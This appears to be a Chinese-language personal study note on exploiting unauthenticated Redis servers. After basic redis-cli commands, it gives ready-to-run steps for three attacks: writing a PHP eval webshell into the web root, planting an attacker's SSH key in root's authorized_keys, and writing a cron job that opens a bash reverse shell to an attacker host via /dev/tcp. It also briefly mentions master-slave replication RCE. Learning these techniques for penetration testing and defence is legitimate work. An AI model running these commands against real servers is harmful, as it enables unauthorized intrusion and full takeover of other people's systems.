不是很了解Redis数据库,粗浅学了一下Redis应该是以键值对的方式存储数据的
Redis默认端口:6379
Redis相关操作
连接远程服务器:
redis-cli -h [目标IP] -p [端口] -a [密码] #其中redis-cli为redis远程连接的客户端
set testkey "tt" # 设置键tt的值为字符串
get tt # 获取键tt的内容
set id 1 # 设置键id的值为1
incr id # 使用INCR命令将id的值增加1
get id # 获取键id的内容
keys * # 列出当前数据库中所有的键
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
Redis相关漏洞(未授权访问)
一:通过redis远程连接后写入webshell
*phpinfo页面中 CONTEXT_DOCUMENT_ROOT记录网站根目录绝对路径
通过执行如下命令写入一句话木马到网站根目录:
redis-cli -h [目标ip] -p [redis端口] #连接redis服务器
config set dir /var/www/html #设置数据库备份文件的放置路径
config set dbfilename shell.php #设置备份文件的文件名
set x "<?php @eval($_POST['tt']);?>" #添加一个键”x”,值为一句话木马
save #保存
之后尝试用蚁剑连接
二:Redis未授权写SSH公钥获得shell
原理:攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 Redis的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以无需密码直接登录目标服务器。
1)生成公钥,默认情况下,生成在用户家目录下的 .ssh 目录下:
ssh-keygen -t rsa
2)将公钥写入tt.txt文件,前后用\n换行,避免和Redis其他缓存数据混合
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/tt.txt
3)将tt.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)
cat /tmp/tt.txt | redis-cli -h [目标ip] -p [redis端口] -x set sshkey
4)连接Redis
redis-cli -h [目标ip] -p [redis端口]
5)设置备份文件路径
config set dir /root/.ssh/
6)设置上传公钥的备份文件名字为authorized_keys
config set dbfilename "authorized_keys"
save
7)远程连接目标机器
ssh root@[目标ip] -i /root/.ssh/id_rsa
三:写定时任务反弹shell
思路:先在攻击机开启nc监听,再利用redis写定时任务反弹shell
set tt "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/[攻击机IP]/[nc监听的端口] 0>&1\n\n"
#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp//[攻击机IP]/[nc监听的端口] 0>&1
关于Liunx定时任务,可参考菜鸟教程:
四:主从复制RCE
主从模式:Redis提供主从模式以解决读写数据量过大的问题。主从模式就是指使用一个 redis实例作为主机,其他实例都作为备份机,其中 主机和从机数据相同,而从机只 负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一 种通过 牺牲空间来换取效率的缓解方式。
在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的Redis命令,通过写C语言并编译出 .so 文件
因题主能力有限,该利用方式主要靠利用github上一些现成的脚本编译生成so扩展文件